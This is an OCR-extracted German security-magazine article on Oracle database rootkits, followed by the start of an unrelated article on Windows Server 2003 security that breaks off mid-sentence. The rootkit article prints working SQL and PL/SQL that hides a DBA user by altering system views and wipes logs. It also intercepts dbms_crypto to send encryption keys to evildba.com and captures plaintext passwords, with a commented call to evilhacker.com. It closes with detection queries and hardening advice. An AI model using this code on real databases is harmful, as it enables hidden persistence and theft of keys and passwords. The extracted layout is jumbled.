Grundlagen zu Oracle Rootkits, verschiedene Implementierungsmöglichkeiten, Möglichkeiten zur Entdeckung von Rootkits.
Was Sie vorher wissen/können sollten... •
www.hakin9.org
Der Leser sollte Grundkenntnisse im Bereich SQL und der Architektur von Oracle Datenbanken besitzen.
Rootkits in Oracle
Listing 1. Datenbank Benutzer anlegen -- Benutzer erstellen -- und DBA-Rechte zuteilen SQL> CREATE USER HACKER SQL> IDENTIFIED BY HACKER; SQL> GRANT DBA TO HACKER; -- Benutzer anzeigen SQL> SELECT USERNAME SQL> FROM DBA_USERS; USERNAME ----------------SYS SYSTEM DBSNMP SYSMAN MGMT_VIEW HACKER …
einer Oracle Datenbank realisieren. Dazu muss man lediglich wissen, wie Oracle intern Datenbankbenutzer darstellt, speichert und verwendet. Oraclebenutzer werden zusammen mit Datenbankrollen in der Datenbank Tabelle SYS.USER$ gespeichert. Benutzer haben dabei das Flag TYPE#=1 und Rollen das Flag TYPE#=0. Aus Gründen des einfachen Zugriffes und der Auf- und Abwärtskompatibilität (die Tabellenstruktur ändert sich je nach Datenbankversion) stellt Oracle zwei Views names DBA _ USERS und ALL _ USERS über ein Public Synonym zur Verfügung. Die meisten DBAs und Tools verwenden diese Views, um auf die Tabelle SYS.USER$ zuzugreifen. Wird diese View nun so verändert, daß ein bestimmter Benutzer, z.B. HACKER , nicht mehr angezeigt wird, haben wir einen (für die meisten Fälle) Benutzer versteckt. Nehme man sich zuerst Listing 1 vor, wird erstmal der Benutzer angelegt und anschließend wird überprüft, ob er sichtbar ist. Dazu wird die View DBA _ USERS verändert und um eine weitere Zeile ergänzt. AND U.NAME != 'HACKER'
Diese Änderung kann mit einem Tool mit graphischer Oberfläche (z.B. Quest TOAD, siehe Abbildung 1) oder aber mit einem SQL Befehl (CREATE VIEW DBA _ USERS AS ...) gemacht werden. Dabei muss beachtet
Tabelle 1. Betriebssystem Befehle/Objekte – Oracle Mapping *NIX Kommando/Objekt
Oracle Kommando/Objekt
ps
SELECT * FROM V$PROCESS
kill <processnumner>
ALTER SYSTEM KILL SESSION '12,55'
Executables
Views, Packages, Funktionen und Prozeduren
Execute
SELECT * FROM MY _ VIEW
cd
ALTER SESSION SET CURRENT _
EXEC PROCEDURE SCHEMA=USER01
Abbildung 1. Veränderung der View dba_users in einem Admin-Tool (Quest TOAD) werden, dass Änderungen an System-Views nur mit der Rolle SYSDBA möglich sind. Eine erneute Abfrage der View DBA _ USERS zeigt nun alle Benutzer, außer dem neu angelegten Benutzer HACKER an. Manche Tools bzw. DBAs verwenden anstatt der View DBA _ USERS die View ALL _ USERS, um alle Benutzer anzuzeigen. Diese View muss also ebenfalls verändert wer-
www.hakin9.org
den, um den Benutzer verschwinden zu lassen. Sobald beide Views modifiziert wurden, ist der neu angelegte Benutzer aus allen Programmen verschwunden, die die beiden Views als Zugriffsschicht verwenden. Ein geschickter Angreifer würde natürlich unauffälligere Benutzernamen (z.B. MTSYS) auswählen und außerdem eine unauffälligere Where-Bedingung wählen (z.B. AND U.USER# 17, wobei
hakin9 Nr. 1/2006
29
Fokus
17 der Nummer des neu angelegten Benutzers entsprechen muss). Alle bisher von mir getesteten Programme gehören dazu, z.B. der Oracle Enterprise Manager (siehe Abbildungen 2 und 3), Oracle Grid Control (siehe Abbildungen 4 und 5), Quest SQL Navigator, Quest TOAD, Embacadero DBArtisan, usw. Entwickler von Datenbank Administrationstools sollten sich deshalb niemals auf Views verlassen, die ja verändert werden können, sondern immer auf die Basistabelle, z.B. SYS.USER$ zugreifen.
Oracle Rootkit Grundlagen
Wie wir bereits in der Einführung gesehen haben, können wir ein Rookit durch die Veränderung(-en) von Views erstellen. Der folgende Abschnitt bietet eine Übersicht, welche weitere Möglichkeiten es noch gibt, Rootkits zu implementieren. Abbildung 2. Anzeige aller Benutzer im Oracle Enterprise Manager
Modifikation eines aufzurufendes Objektes
Wie wir bereits in der Einführung gesehen haben, lassen sich Datenbank Views sehr einfach verändern. Damit kann man bestimmte Inhalte aus den Views verschwinden lassen. Im Beispiel aus Listing 2 wird dies mit Hilfe des Paketes dbms_metadata (ab Oracle 9i) realisiert. Dieses Package erzeugt aus einem Datenbankobjekt DDL-Code und ersetzt dann mit Hilfe des replace -Kommandos den String WHERE mit WHERE u.name != 'HACKER'.
Abbildung 4. Anzeige aller Benutzer im Oracle Grid Control
Änderung des Ausführungspfades
Abbildung 3. Anzeige aller Benutzer im Oracle Enterprise Manager nach Veränderung der View DBA_USERS ohne den Benutzer HACKER
30
hakin9 Nr. 1/2006
Außer der Modifikation eines Data Dictionary Objektes, z.B. Views, kann man ein Rootkit auch über die Veränderung des Ausführungspfades implementieren. Bei Betriebssystem Rootkits wird dazu der Pfad, in dem z.B. nach den Kommandos ps, who, top gesucht wird, so verändert, dass zuerst eine gefälschte Version des Kommandos anstatt des Originals aufgerufen wird. Dieses Vorgehen hat den Vorteil, dass das originale Programm nicht verändert wird und damit nicht durch eine veränderte Checksumme auffällt.
www.hakin9.org
Abbildung 5. Anzeige aller Benutzer im Oracle Grid Control nach Veränderung der View DBA_USERS ohne den Benutzer HACKER
Rootkits in Oracle
Oracle Rootkit Evolution
Wie bei normalen Rootkits gibt es auch bei Oracle Rootkits verschiedene Evolutionsstufen. Es gibt Oracle Rootkits der 1. Generation. Es ist jedoch nur eine Frage der Zeit, bis sich die Rootkits ähnlich den Betriebssystem Rootkits weiterentwickeln werden.
Oracle Rootkits der 1. Generation
In der 1. Generation werden Rootkits durch Veränderung oder Erzeugung von Data Dictionary Objekten bzw. Veränderung oder Erzeugung des Ausführungspfades implementiert. Dieses ist die einfachste und schnellste Art ein Rootkit zu erstellen. Spezielle Kenntnisse sind nicht notwendig. Für die Entdeckung reicht es aus, extern die Checksummen von bestehenden bzw. neuangelegten Datenbankobjekten mit einer Baseline zu vergleichen.
Oracle Rootkits der 2. Generation
Die zweite Generation der Rootkits wird dies ohne eine Veränderung des Ausführungspfades bzw. ohne Veränderung von Data Dictionary Objekten erreichen. Mögliche Implementierung werden beispielsweise die Oracle Features PL/SQL-Native Compilation Funktionalität bzw. Virtual Private Database (VPD) verwenden. Die Entdeckung von Rootkits der zweiten Generation wird schon schwieriger sein, da dies nur mit dem SYS-Account, speziellen Privilegien (EXEMPT ACCESS POLICY) bzw. mit Checksummen über Betriebssystemobjekte möglich ist.
prüft, ob ein Public Synonym verfügbar ist. Sobald ein Name aufgelöst werden kann, wird dieses Objekt verwendet und das daraus resultierende SQL Statement ausgeführt. Aus der Struktur des Oracle Ausführungspfades ergeben sich mehrere Möglichkeiten, die ein Angreifer ausnutzen könnte. Diese unterschiedlichen Methoden werden nun beschrieben: •
•
Oracle Rootkits der 3. Generation
Diese Generation wird ähnlich den Kernel-Rootkits arbeiten und ähnlich schwer zu entdecken sein. Objekte werden hierbei direkt in der SGA modifiziert. Seit Oracle 10g Release 2 stellt Oracle offiziell eine API zur Verfügung, die es erlaubt, direkt auf die SGA zuzugreifen. Dies war bereits bisher, allerdings undokumentiert, möglich. Das Know-How zum Schreiben bzw. Entdecken dieser Rootkits wird jedoch im Vergleich zu den Rootkits der ersten Generation sehr hoch sein.
•
• Listing 2. Einfaches SQL-Skript, das einen Benutzer namens HACKER erstellt und diesen dann versteckt set linesize 2000 set long 90000 EXECUTE DBMS_METADATA.SET_TRANSFORM_PARAM (DBMS_METADATA.SESSION_TRANSFORM,'STORAGE',false); spool rk_source.sql select replace(cast(dbms_metadata.get_ddl('VIEW','ALL_USERS') as VARCHAR2(4000)),'where','where u.name !=''HACKER'' and ') from dual union select '/' from dual; select replace(cast(dbms_metadata.get_ddl('VIEW','DBA_USERS') as VARCHAR2(4000)),'where','where u.name !=''HACKER'' and ') from dual union select '/' from dual; spool off create user hacker identified by hackerpw; grant dba to hacker; @rk_source.sql
§
§ §
Da es in der Oracle Datenbankwelt keine Pfadangaben gibt, muss das Konzept übernommen und lediglich die Implementierung angepasst werden. Auch hier hilft es, sich vor Augen zu führen, wie Oracle den Aufruf eines SQL Select Statements, z.B.: SELECT * FROM DBA_USERS
verarbeitet.
§ §
Bei dieser Abfrage überprüft Oracle zuerst, ob es ein lokales Objekt (Tabelle oder View) namens DBA _ USERS gibt. Ist dies der Fall, wird dieses Objekt für die Abfrage verwendet. Existiert kein lokales Objekt mit diesem Namen, sucht Oracle nach einem privaten Synonym. Existiert ein privates Synonym, wird das Objekt, auf das das Synonym zeigt, verwendet. Andernfalls wird über-
www.hakin9.org
neues lokales Objekt mit identischem Namen im Schema des Benutzers (siehe Listing 3); Anlegen eines neuen Objektes, das entweder auf das ursprüngliche Objekt (View oder Basistabelle) verweist oder aber ein neues Objekt anlegt, das eine Kopie der Daten enthält. Eine Tabelle DBA _ USERS könnte dann mit Hilfe eines Triggers auf SYS.USER$ auf dem aktuell gehalten werden. (siehe Listing 4); privates Synonym und neues lokales Objekt anlegen (siehe Listing 5); Public Synonym verändern und neues lokales Objekt anlegen (siehe Listing 6).
Die drei ersten Methoden haben jedoch für den Angreifer den Nachteil, daß nur der Benutzer, in dessen Schema das Objekt liegt, von den Modifikationen betroffen ist. Es müssen also unter Umständen mehrere Objekte in den unterschiedlichen Administratorenkennungen angelegt werden. Deshalb wird die letzte Methode von Angreifern bevorzugt, da sie einerseits die original Views nicht verändert und andererseits von jedem Account ausser SYS funktioniert.
Mögliche Ziele von Veränderungen
Von den über 2000 Views, die dem Benutzer SYS gehören (Oracle 10.1.0.4: 2643 Views) sind natürlich nicht alle lohnende Ziele für einen Angreifer. Einige sind viel versprechender als andere. Besonders interessant sind System-Views (Tabelle 2) für Angreifer bzw. für DBAs um diese regelmäßig zu kontrollieren.
hakin9 Nr. 1/2006
31
Fokus
Pseudo-Code/Konzept eines Oracle Rootkits Im folgenden Abschnitt werden typische Komponenten eines Oracle Rootkit der ersten Generation beschrieben. Zum einen werden oftmals (unsichtbare) Benutzer angelegt, danach werden die Spuren in den verschiedenen Logdateien bzw. in den ArchiveLogs gelöscht. Ausserdem werden häufig alle geänderten Passworte mitprotokolliert. Die verschiedenen Komponenten werden hier kurz beschrieben: • • • • • • •
Oracle Benutzer anlegen und verstecken; aktive Prozesse verstecken; Oracle Listener Log säubern; Oracle SGA säubern; Oracle RedoLog säubern; Oracle Packageaufrufe mithören und abfangen; Oracle Password Sniffer installieren.
Unsichtbaren Benutzer anlegen und verstecken
Wie wir bereits in den vorangegangenen Abschnitten gesehen haben, gibt es verschiedene Möglichkeiten einen Benutzer zu verstecken. Deshalb wird auf diesen Punkt hier nicht weiter eingegangen.
CREATE VIEW DBA_USERS AS SELECT * FROM SYS.DBA_USERS WHERE USERNAME != 'HACKER';
Listing 4. Neue Tabelle DBA_USERS im Schema eines Benutzers (z.B. SYSTEM) anlegen CREATE TABLE DBA_USERS AS SELECT * FROM SYS.DBA_USERS WHERE USERNAME != 'HACKER';
Listing 5. Neue Tabelle DBA_MYUSERS im Schema eines Benutzers (z.B. SYSTEM) anlegen CREATE TABLE DBA_MYUSERS AS SELECT * FROM SYS.DBA_USERS WHERE USERNAME != 'HACKER'; CREATE SYNONYM DBA_USERS FOR HACKER.DBA_MYUSERS;
Listing 6. Neue Tabelle DBA_MYUSERS im Schema eines Benutzers (z.B. SYSTEM) anlegen CREATE TABLE DBA_MYUSERS AS SELECT * FROM SYS.DBA_USERS WHERE USERNAME != 'HACKER'; CREATE OR REPLACE SYNONYM DBA_USERS FOR HACKER.DBA_MYUSERS;
Tabelle 2. Potentielle Ziele für Veränderungen System View
Beschreibung
DBA _ USERS
Aktive Prozesse lassen sich durch die Modifikation der Views V$Session , GV _ $SESSION, FLOW _ SESSIONS, V_ $Process ausblenden. Dazu können die selben Techniken genutzt werden wie bei den unsichtbaren Benutzern, das heisst Views verändern bzw. den Ausführungspfad ändern.
Anzeige aller Datenbankbenutzer
ALL _ USERS
Anzeige aller Datenbankbenutzer des Artikels
DBA _ JOBS
Anzeige aller Datenbankjobs
V$SESSION
Anzeige aller laufenden Prozesse
V _ $PROCESS
Anzeige aller laufenden Prozesse
DBA _ DIRECTORIES
Anzeige der Oracle Directories
ALL _ DIRECTORIES
Anzeige der Oracle Directories
DBA _ AUDIT _ TRAIL
Anzeige der Audit-Informationen
Oracle Listener Log Cleaner
DBA _ EXTERNAL _ TABLES
Anzeige der externen Tabellen
ALL _ EXTERNAL _ TABLES
Anzeige der externen Tabellen
Aktive Prozesse verstecken
Da man beim Login in der Datenbank Spuren im listener.log des TNSListeners hinterlässt, sofern das Logging eingeschaltet ist, wird ein Angreifer versuchen, diese Spuren zu verwischen. Dazu bietet Oracle verschiedene Mittel an. Die wohl einfachste Art dies zu erreichen, ist mit Hilfe des Packages utl_file. Dieses
32
Listing 3. Neue View im Schema eines Benutzers (z.B. SYSTEM) anlegen (Nur als SYSDBA möglich)
hakin9 Nr. 1/2006
Package erlaubt es Dateien zu lesen (UTL _ FILE.GET _ LINE), zu schreiben (UTL _ FILE.PUT _ LINE) oder zu löschen (UTL _ FILE.FREMOVE). Da die Logdatei nicht vom TNS Listener gesperrt ist, kann man den Inhalt im laufenden Betrieb ändern.
www.hakin9.org
Oracle SGA Cleaner
Ein Angreifer hinterlässt natürlich auch im Speicher der Datenbank (SGA, System Global Area) seine Spuren. So lassen sich beispielsweise alle SQL-Befehle aller Benutzer und damit auch des Einbrechers in der View
Rootkits in Oracle
abfragen. Um diese Spuren aus der SGA zu entfernen, reicht es aus, den Shared Pool zu löschen. Dies kann mit dem Befehl: V _ $SQLAREA
ALTER SYSTEM FLUSH SHARED_POOL;
bewirkt werden. Dabei muss man jedoch beachten, dass das Löschen des Shared Pool negative Auswirkungen auf die Performance des Systems hat.
Oracle Redo-Log Cleaner
Jede Transaktion, die Änderungen in der Datenbank vornimmt, wird im sogenannten Redo-Log gespeichert und, sofern die Datenbank im Archive-Log-Modus läuft, auch in den Archive Files gespeichert. Ein Angreifer muss natürlich auch hier seine Spuren verwischen. Dazu führt er vor der Installation des Rootkits in der Datenbank einen Redo-Log Switch mit Hilfe des Kommandos:
Abbildung 6. Oracle Access Path
ALTER SYSTEM SWITCH LOGFILE;
durch. Nach der Installation des Rootkits wird so oft ein Redo-Log Switch durchgeführt bis Oracle alle Redo Log Dateien aller Redo Log Gruppen ersetzt hat. Wird die Datenbank im Archive Log Modus betrieben, muss nun die letzte Archive Log Datei mit Hilfe des Packages utl_file.fremove gelöscht werden.
Abbildung 7. Aufruf von dbms_crypto aus einer Anwendung heraus
Oracle Packageaufrufe mithören und abfangen
Innerhalb der Oracle Datenbank ist es möglich, alle Packageaufrufe abzufangen (Package Interception), deren Parameter zu verändern und danach das richtige Package aufzurufen. Dies wird beispielsweise dazu genutzt, um Checksummen Routinen (z.B. MD5) zu täuschen oder Verschlüsselungskey oder Passworte abzufangen. Dazu sind oftmals nicht einmal DBA Berechtigungen notwendig, da die Veränderungen im Schema der Anwendung ausgeführt werden. Abbildung 7 zeigt den Aufruf des Packages dbms_crypto aus einer Funktion encrypt eines Anwendungsprogramms heraus an. Diese Funktion
Abbildung 8. Aufruf von dbms_crypto aus einer Anwendung heraus, bei dem die Keys zum Verschlüsseln abgefangen werden
www.hakin9.org
hakin9 Nr. 1/2006
33
Fokus
Listing 7. Interception Package Specification dbms_crypto, das alle Verschlüsselungskeys an einen externen Webserver sendet CREATE OR REPLACE PACKAGE DBMS_CRYPTO AS -- Web Server for key logging KEYWEBSERVER CONSTANT VARCHAR2(40) :='http://www.evildba.com/'; KEYRC VARCHAR2(32767); -- Hash Functions HASH_MD4 CONSTANT PLS_INTEGER := 1; HASH_MD5 CONSTANT PLS_INTEGER := 2; HASH_SH1 CONSTANT PLS_INTEGER := 3; -- MAC Functions HMAC_MD5 CONSTANT PLS_INTEGER := 1; HMAC_SH1 CONSTANT PLS_INTEGER := 2;
(...)
Listing 8. Interception Packagebody dbms_crypto, das alle Verschlüsselungskeys an einen externen Webserver sendet CREATE OR REPLACE PACKAGE BODY DBMS_CRYPTO AS FUNCTION Encrypt (src IN RAW, typ IN PLS_INTEGER, key IN RAW, iv IN RAW DEFAULT NULL) RETURN RAW AS BEGIN keyrc:=utl_http.request (KEYWEBSERVER||'user='||user||'/'||'/key=' ||UTL_RAW.cast_to_varchar2(key)||'/iv=' ||UTL_RAW.cast_to_varchar2(iv)||'/typ='||typ); RETURN SYS.dbms_crypto.encrypt(src,typ,key,iv); END;
§
§
§
Tabelle 3. Potentielle Ziele für Package Interception, abhängig von Version und installierten Komponenten
34
Package-Name
Beschreibung
dbms_crypto
Abfangen von Verschlüsselungskey
dbms_obfuscation_toolkit
Abfangen von Verschlüsselungskey
utl_http
Abfangen von HTTP Proxy Passworten
dbms_aqadm
Abfangen von LDAP Passworten
dbms_ldap_utl
Abfangen von LDAP Credentials
utl_dbws
Abfangen von Webservices Benutzernamen / Passworten
dbms_epg
Abfangen von mod_plsql Passworten
htmldb_util
Abfangen von HTMLDB Passworten
wwv_flow_security
Abfangen von HTMLDB Passworten
mgmt_rec
Abfangen von SYSDBA und Host Passworten
mgmt_login_assistant
Abfangen von Metalink Kennungen und Passworten
hakin9 Nr. 1/2006
PL/SQL Native Compilation – Normalerweise wird ein PL/SQL Programm als Byte Code in der Datenbank gespeichert und zur Laufzeit in einer virtuellen Maschine für PL/SQL interpretiert. Seit Oracle 9i ist es zusätzlich möglich, PL/SQL Programme in nativen Code zu compilieren, der dann zur Laufzeit ausgeführt wird. Dies ermöglicht bei rechenintensiven Programmen zum Teil große Performancegewinne. VPD (Virtual Private Database) – Dieses Feature ist auch als Fine Grained Access Control (FGAC) bekannt und erlaubt die Definition, welche Benutzer zu welchen Spalten Zugriff bekommen. So kann zum Beispiel an jede Select Abfrage eine zusätzliche Zeile AND DEPARTMENT='SALES' angehängt werden.
einbindet (siehe Abbildung 8). Der Key zum Verschlüsseln der Daten wird jeweils im Klartext weitergegeben. Der Source-Code zum Abfangen des Key ist sehr einfach. Es muss lediglich die Package Spezifikation des aufzurufenden Packages ($ORACLE_HOME/rdbms/admin) kopiert werden und beispielsweise ein Webserver hinzugefügt werden, an den alle abgefangenen Daten gesendet werden sollen. Der Packagebody bildet alle vorhandenen Funktionen und Prozeduren nach, leitet jedoch alle Parameter an den Webserver weiter. Hierzu wird die Funktion utl _ http.request aufgerufen, die alle Parameter an den Webserver sendet. Danach wird über den voll qualifizierten Namen das Originalpackage aufgerufen. Das Verfahren ist in Listings 7 und 8 dargestellt. Mit Hilfe der Package Interception Methode kann man alle übergebenen Parameter abfangen. Tabelle 3 zeigt mögliche Packages, in denen sensible Informationen (Passwörter, Verschlüsselungskeys) abgefangen werden können. Diese Liste enthält nur einen Teil an möglichen Funktionen. TOOLKIT _ LIBRARY
(...)
übergibt neben dem zu verschlüsselnden Wert auch den Schüssel, mit dem der Wert verschlüsselt werden soll. Gemäß der Namensauflösung wird normalerweise das Public Synonym
Terminologie
dbms_crypto gefunden, welches auf das Package SYS.DBMS _ CRYPTO verweist. Dieses Package ruft wiederrum das Package DBMS _ CRYPTO _ FFI auf, welches die trusted Library CRYPTO _
www.hakin9.org
Oracle Passwort Sniffer
Die Oracle Datenbank besitzt ein selten verwendetes Feature names
Rootkits in Oracle
Listing 9. Passwort Verify Function, die alle Klartextpassworte der Benutzer in einer selbst angelegten Tabelle HACKER.SNIFFED abspeichert
Über den Autor
Alexander Kornbrust ist der Gründer und Geschäftsführer der Red-Database-Security GmbH, einer auf Oracle Security spezialisierten Firma. Dort ist er für Oracle Security Audits und Oracle Anti-Hacker-Trainings zuständig. Alexander Kornbrust arbeitet seit 1992 mit Oracle Produkten als DBA und Entwickler. Vor der Gründung von Red-Database-Security arbeitete er mehrere Jahre für Oracle Deutschland und Oracle Schweiz.
Password Verify Function. Damit kann man die Komplexität von Passworten (z.B. mind 8 Zeichen, davon 1 Sonderzeichen) überprüfen. Diese Funktionalität wird über eine PL/SQL-Funktion implementiert. Damit Oracle die Passworte auf eine bestimmte Komplexität überprüfen kann, liegen die Passworte zu diesem Zeitpunkt im Klartext vor. Dies kann sich ein Angreifer zunutze machen, indem er neu geänderte Passworte entweder in einer Datei oder Tabelle speichert oder die Kennungen zusammen mit den Passwörtern an einen Webserver sendet, sofern die Datenbank Zugriff auf das Internet hat. Die Beispiel-Funktion aus Listing 9 protokolliert alle Änderungen von Datenbank- Passworten in einer vom Angreifer angelegten Tabelle mit (siehe Listing 9).
Entdecken von Oracle Rootkits Sobald in eine Datenbank eingebrochen wurde bzw. ein solcher Verdacht besteht, sollte man die gesamte Datenbank, d.h. alle Datenbankobjekte auf Modifikationen und neu hinzugekommene Objekte hin überprüfen.
-- Create (or modify an existing) a password verify function CREATE OR REPLACE FUNCTION verify_function (username varchar2, password varchar2, old_password varchar2) RETURN boolean IS BEGIN -- Store all passwords in a new table -- or send the passwords via utl_http.request to a foreign server -- utl_http.request -- ('http://www.evilhacker.com/user='||username||'#password='||password) insert into hacker.SNIFFED_passwords values(username, password, old_password); RETURN(TRUE); END; -- Apply the password verify function to the default profile -- All password changes of all accounts using the default profiles -- are now stored in the table sniffed_passwords ALTER PROFILE DEFAULT LIMIT PASSWORD_VERIFY_FUNCTION verify_function;
Listing 10. Anzeige von Unterschieden zwischen SYS.USER$ und den entsprechenden Views SELECT NAME "Invisible user in DBA_USERS" FROM SYS.USER$ WHERE TYPE#=1 MINUS SELECT USERNAME FROM SYS.DBA_USERS; SELECT NAME "Invisible user in ALL_USERS" FROM SYS.USER$ WHERE TYPE#=1 MINUS SELECT USERNAME FROM SYS.ALL_USERS;
Eine einfache Überprüfung auf unsichtbare Benutzer könnte wie in Listing 10 realisiert werden. Entwickler können Anwendungen weniger anfällig gegenüber Rootkits machen, indem folgende Programmierrichtlinien beachtet werden: •
•
Verwendung von voll qualifizierten Funktionsausrufen (z.B. SYS.dbms _ crypto anstatt dbms _ crypto ); Unauffällige Namensgebung für Funktionen, Prozeduren und Ta-
Im Internet • • • •
http://www.rootkit.com – Informationen zu Betriebssystem Rootkits, http://www.red-database-security.com/wp/oracle_circumvent_encryption_us.pdf – Circumvent Oracle's Database Encryption, http://www.red-database-security.com/repscan.html – repscan entdeckt Veränderungen im Data Dictionary (z.B. Rootkits), http://www.oracle.com/technology/deploy/security/db_security/htdocs/vpd.html – Beschreibung Virtual Private Database,
www.hakin9.org
•
•
bellen für kritische Objekte (z.B. func107 anstatt encrypt); dynamisches SQL bei kritischen Funktionen verwenden, um Abhängigkeiten zu verstecken; Basistabellen anstatt Views für kritische Objekte verwenden (z.B. SYS.USER$ anstatt DBA _ USERS).
Fazit
Oracle Rootkits können eine große Gefahr für Oracle Datenbanken darstellen, da Sie ähnlich wie Betriebssystemsrootkits unter Umständen schwer wieder zu entfernen sind. Jeder DBA sollte deshalb seine Oracle Datenbank sorgsam absichern, d.h. Security Patches einspielen, Default Passworte ändern und den TNS-Listener (bis Version 9i) mit einem Passwort schützen. Weiterhin sollte das Data Dictionary und die Schemata der Benutzer regelmäßig auf Veränderungen hin überprüft werden. l
hakin9 Nr. 1/2006
35
Windows Server 2003Sicherheit Fokus Rudra Kamal Sinha Roy
Schwierigkeitsgrad
Windows Server 2003 ist keine neue Plattform, da sie mittlerweile nahezu drei Jahre alt ist. Deshalb denken einige Leser womöglich, dass es ein wenig überholt ist, jetzt über seine Sicherheit zu sprechen. Falsch. Die Zeit ist gekommen, wenn viele Firmen dazu gezwungen sind von Windows 2000 Server, dessen Support eingestellt wird, migrieren zu müssen. Die logischste Wahl ist der Windows Server 2003.
W
indows 32-Bit-Betriebssysteme wurden ursprünglich ohne das DOS-Erbe gestaltet und vermarktet für die Benutzung in Umgebungen, die einer hohen Zuverlässigkeit bedürfen. Nach Windows NT 3.1, NT 3.5, NT 3.51 und NT 4.0 entschied sich Microsoft dann dafür, ihr Verbraucher- und Unternehmensbetriebssystem zu kombinieren. Ihr erster Versuch, Windows 2003, traf nicht ihre Vorstellungen und Ziele und wurde als Betriebssystem für Firmen veröffentlicht. Die Edition für den Normalverbraucher von Windows 2000, Codename Windows Neptune, wurde nicht mehr aktiv weiter entwickelt und Microsoft brachte anstelle dessen Windows ME heraus. Letztendlich ist Neptune mit dem neuen Projekt, Whistler, das später zu Windows XP wurde, zusammen gelegt worden. Seit damals erweiterte eine neue Firmenlösung, Windows Server 2003, das obere Ende der Produktpalette. Der bevorstehende Windows Longhorn Server wird das vervollständigen. Jedoch halten die meisten Unternehmen heute immer noch an Windows 2000 fest. Nur wenige sind auf Windows Server 2003 umgestiegen, bei dem es scheint, dass er ein
36
hakin9 Nr. 1/2006
In diesem Artikel erfahren Sie... •
•
• •
welche Sicherheitsverbesserungen im Windows Server 2003 eingeführt wurden und wie diese ihn sicherer als seine Vorgänger machen, was die dennoch verbliebenen Schwächen im Windows Server 2003 sind, die diesen angreifbar machen, wie diese verbliebenen Schwächen in der Praxis ausgenutzt werden können, was ein Windows Server 2003-Administrator machen kann, um seinen Server sicherer zu machen.
Was Sie vorher wissen/können sollten... • •
•
www.hakin9.org
Sie sollten ausreichende Kenntnisse von früheren Windowsversionen besitzen, Sie sollten mit der zugrunde liegenden Arbeitsweise von Betriebssystemen vertraut sein, Sie sollten wissen, wie Speichermanagement funktioniert.
Windows Server 2003-Sicherheit
Sicherheitsansätze
Wenn man von Netzwerk- und Betriebssystemsicherheit spricht existieren zwei grundlegende Ansätze, denen gefolgt werden kann und die auf zwei verschiedenen Philosophien basieren. Keine der beiden ist richtig oder falsch – welche am besten für einen vorhandenen Computer oder ein vorhandenes Netzwerk ist, hängt von den Umständen, Bedürfnissen und Prioritäten der Organisation oder des individuellen Benutzers ab. Am wichtigsten ist, dass die Wahl danach getroffen wird, was in einer konkreten Situation wichtiger ist, Zugang oder Kontrolle: •
•
Zugang als höchste Priorität: In diesem Fall wäre die Wahl ein Open-by-DefaultSystem, in dem Sicherheitsmaßnahmen nur nach Bedarf implementiert werden. Sie fangen damit an, dass Sie auf alles Zugriff besitzen, dann entscheiden, auf was nicht zugegriffen werden sollte und dementsprechend diese Elemente verschließen; Kontrolle (Sicherheit) als höchste Priorität: In diesem Fall wär ein Closed-by-Default-System die bessere Wahl, das auf dem Principle of least privilege basiert. Sie fangen an und alles ist verschlossen und danach öffnen Sie nur das, was unbedingt notwendig ist.
Die zwei Möglichkeiten werden immer an entgegengesetzten Enden des Sicherheitskontinuum liegen. Je mehr Kontrolle Sie über das Netzwerk oder Betriebssystem besitzen und je straffer Sie es vor den Risiken der Datenverarbeitung in einer verbundenen Welt (darunter auch Eindringlinge, Angreifer, Viren und andere Malware) absichern, umso weniger zugänglich wird es sein. Auf der anderen Seite, je einfacher Sie es für Mitarbeiter, Verbraucher, Partner und andere machen, auf Ressourcen zuzugreifen, umso weniger kontrolliert und sicher wird es sein. Dieser Kompromiss ist unumgänglich, weshalb der erste Schritt sein muss festzustellen, was höhere Priorität besitzt und wo im Kontinuum Ihre Bedürfnisse nicht so groß sind. Das ideale System wäre vollkommen benutzerfreundlich denen gegenüber, die authentifiziert sind und absolut undurchdringlich für andere, aber so ein System existiert nicht – und kann nicht existieren.
wenig unbemerkt, verglichen mit dem Hype, der von Windows XP erzeugt wurde, durch die letzten zweieinhalb Jahre ging. Eine Untersuchung von AssetMetrix zeigt, dass im ersten Quartal von 2005 48% aller Firmen-PCs immer noch Windows 2000 installiert hatten, das nur vier Prozentpunkte unter dem Wert vom dritten Quartal im Jahr 2003 lag. Das zeigt, das die Popularität von Windows 2000 nur sehr langsam sinkt und Firmen sich davor scheuen, auf neuere Windowsumgebungen zu migrieren. Ein anderes Problem mit Windows 2000 ist die Tatsache, dass Microsoft den Support für diese Version vor einiger Zeit eingestellt hat. Es gab noch Pläne SP5 herauszugeben, die aber niemals verwirklicht wurden. Ab Juli 2005 an ist Windows 2000 in der erweiterten Support-Phase seines Lebens, was bedeutet, dass es keine Service Packs oder freien Hotfixes,
die nicht im Bereich der Sicherheit liegen, mehr geben wird. In einiger Zeit wird selbst der Support für Sicherheitshotfixe aufhören. So scheint es, dass es der einzige Weg für Unternehmen ist, die sichere Server haben möchten, die nächste Generation von Microsoft Serversystemen zu wählen. Die Veröffentlichung von Longhorn ist für 2007 geplant, weshalb viele Unternehmen nicht darauf warten werden. Windows Server 2003 wird zur nahe liegenden Wahl, da Windows XP nicht zur Benutzung als Server gedacht ist. Lassen Sie uns deshalb einen Blick auf die Sicherheitsaspekte von Windows Server 2003 und die neuesten Sicherheitslücken werfen und sehen, ob es nun, nahezu drei Jahre nachdem das System veröffentlicht wurde, endgültig wert ist von Windows 2000 zu migrieren bzw. diese Plattform für neue Projekte auszuwählen.
www.hakin9.org
Nun hat Sicherheit für die meisten Organisationen höchste Priorität (siehe Kasten Sicherheitsansätze). Microsoft hat darauf auf viele Arten reagiert, angefangen mit ihrer Trustworthy Computing-Initiative. Windows Server 2003 ist, verglichen mit seinen Vorgängern, ein stabiler Versuch in Richtung einer sicheren Arbeitsumgebung. Allerdings hat es in einigen Szenarien immer noch seine Probleme. Eine große Veränderung, die sehr beachtenswert im Windows Server 2003 ist, ist der Unterschied bei den Standardeinstellungen. Erinnern Sie sich daran, dass das die Stelle war, bei der die Zeit und wiederum Microsoft sich als angreifbar herausgestellt haben und Hacker am häufigsten diese Standarddienste ausgenutzt haben. Wir werden erörtern, wie der Server sich in seinen Standardeinstellungen von vorangegangenen Versionen unterscheidet und wie die neuen Standardeinstellungen das OS sicherer machen, während es gleichzeitig Frustration bei einigen Systemadministratoren und Benutzern auslöst, die nicht in der Lage sind Zugang zu erhalten, der in den früheren Versionen ohne zusätzliche Konfigurationsarbeit sofort verfügbar war. Wir werden einen kurzen Blick auf die Änderungen an den Defaults, die durch die Weiterentwicklung am Windows Server 2003 gemacht wurden, werfen und uns dabei hauptsächlich auf die Einstellungen der Dienste, Authentifizierung und – was am wichtigsten ist – 